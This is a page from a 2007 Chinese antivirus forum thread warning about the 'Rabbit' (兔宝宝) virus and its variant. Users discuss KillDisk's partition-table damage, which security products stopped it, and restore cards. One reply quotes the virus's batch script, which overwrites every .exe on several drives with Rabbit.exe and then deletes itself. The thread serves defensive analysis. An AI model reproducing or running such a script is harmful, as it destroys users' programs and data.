警惕恶性病毒“兔宝宝”【4月8日原版、4月10日出现新变种】

瑞星卡卡安全论坛技术交流区 反病毒/反流氓软件论坛警惕恶性病毒“兔宝宝”【4月8日原版、4月10日出现新变种】

	瑞星“1+2”全新解决方案巡展在广州画上圆满句号		叶院长揭秘：瑞星如何运用AI技术革新网络安全		俄乌冲突加剧网络攻击风险白俄罗斯政府遭APT攻击		瑞星ESM防病毒系统助力矿业大学筑牢网络安全防线
	实力拉满瑞星第五十次通过VB100测评		携手老友，拥抱新精彩 —— 新论坛新活动，感谢你的陪伴		护航司法，瑞星助力山西省高院构建安全防线		人工智能在网络安全领域的风险和机遇

«3 4 5 6 789 10

8 / 10 页

跳转页

警惕恶性病毒“兔宝宝”【4月8日原版、4月10日出现新变种】

天月来了版主帖子:76904 注册: 2007-02-06 来自:	发表于： 2007-04-10 11:00 \| 短消息资料字号：小中大 71楼木马KillDisk能突破影子，不知在只有一个区。只有C盘的系统中，没有任何其他盘的系统中，能否干了影子呢？猫猫试过吗？
天月来了版主帖子:76904 注册: 2007-02-06 来自:

大版主

帖子:72578
注册: 2003-04-10
来自:

发表于： 2007-04-10 11:40 | 只看楼主 短消息资料

字号：小中大 72楼

引用:

【天月来了的贴子】木马KillDisk能突破影子，

不知在只有一个区。只有C盘的系统中，没有任何其他盘的系统中，能否干了影子呢？

猫猫试过吗？
………………

KillDisk并不留下任何木马文件。
运行后，调用系统模块，写引导扇区，破坏硬盘分区表。
下次开机，系统就死翘翘了。系统引导期间报错：Invalid Partition Table（分区表无效）。

大版主

帖子:72578
注册: 2003-04-10
来自:

发表于： 2007-04-10 11:43 | 只看楼主 短消息资料

字号：小中大 73楼

引用:

【艾玛的贴子】C:\WINDOWS\system32\LOVETZ.bat

C:\WINDOWS\system32\TZ.bat

FOR /f "delims=" %%i in (c:\windows\msconfig.inf) do copy /y "C:\WINDOWS\system32\Rabbit.exe" "%%i"
FOR /f "delims=" %%i in (c:\windows\msconfig1.inf) do copy /y "C:\WINDOWS\system32\Rabbit.exe" "%%i"
del %0
FOR %%a in ( d: e: f: h: g: ) do dir /s/b %%a\*.exe>>c:\windows\msconfig.inf
cd C:\Program Files
dir *.exe /s /b >>c:\windows\msconfig1.inf

update 2007.04.10
………………

这孩子，不知道什么叫“死”。
让他玩儿吧。

鑫森淼焱磊亖初生襁褓狮帖子:12 注册: 2006-12-25 来自:	发表于： 2007-04-10 12:12 \| 短消息资料字号：小中大 74楼刚才用费尔V7的动态防御完全防住了、用微点也完全防住了
鑫森淼焱磊亖初生襁褓狮帖子:12 注册: 2006-12-25 来自:

sanjingshou 强壮不惑狮帖子:1166 注册: 2006-07-15 来自:	发表于： 2007-04-10 13:04 \| 短消息资料字号：小中大 75楼有微点的下载地址吗?
sanjingshou 强壮不惑狮帖子:1166 注册: 2006-07-15 来自:

我是来来初生襁褓狮帖子:1058 注册: 2006-09-13 来自:	发表于： 2007-04-10 13:11 \| 短消息资料字号：小中大 76楼关RISING吗？
我是来来初生襁褓狮帖子:1058 注册: 2006-09-13 来自:

kendy603 初生襁褓狮帖子:35 注册: 2006-09-25 来自:	发表于： 2007-04-10 14:22 \| 短消息资料字号：小中大 77楼 NB,,,,
kendy603 初生襁褓狮帖子:35 注册: 2006-09-25 来自:

新版小欧自信弱冠狮帖子:384 注册: 2007-01-31 来自:	发表于： 2007-04-10 14:29 \| 短消息资料字号：小中大 78楼汗~~~~ 这小兔子,运行时咋出现了这个东东??? 附件: 文件名:8345092007410142004.jpg 下载次数:215 文件类型:image/pjpeg 文件大小: 上传时间:2007-4-10 14:29:49 描述:
新版小欧自信弱冠狮帖子:384 注册: 2007-01-31 来自:

∥黑礼服。の初生襁褓狮帖子:1 注册: 2007-04-07 来自:	发表于： 2007-04-10 16:35 \| 短消息资料字号：小中大 79楼写的不错``
∥黑礼服。の初生襁褓狮帖子:1 注册: 2007-04-07 来自:

初生襁褓狮

帖子:27
注册: 2007-02-02
来自:

发表于： 2007-04-10 17:36 | 短消息资料

字号：小中大 80楼

引用:

【baohe的贴子】
禁止autorun.inf创建——————没多大意义。
这个病毒连瑞星的.exe都替换掉了。瑞星启动加载————————运行的就是病毒体。
………………

呵呵！搞笑啊！冷幽默！

看来还是得用我以前提过的硬件还原卡最有效！不过得配合管理制度的执行！

<<上一主题|下一主题>>

«3 4 5 6 789 10

8 / 10 页

跳转页

瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 警惕恶性病毒“兔宝宝”【4月8日原版、4月10日出现新变种】

警惕恶性病毒“兔宝宝”【4月8日原版、4月10日出现新变种】

附件:

文件名:8345092007410142004.jpg 下载次数:215 文件类型:image/pjpeg 文件大小: ShowFormatBytesStr(6686); 上传时间:2007-4-10 14:29:49 描述:

瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛警惕恶性病毒“兔宝宝”【4月8日原版、4月10日出现新变种】

文件名:8345092007410142004.jpg

下载次数:215

文件类型:image/pjpeg

文件大小:

上传时间:2007-4-10 14:29:49

描述: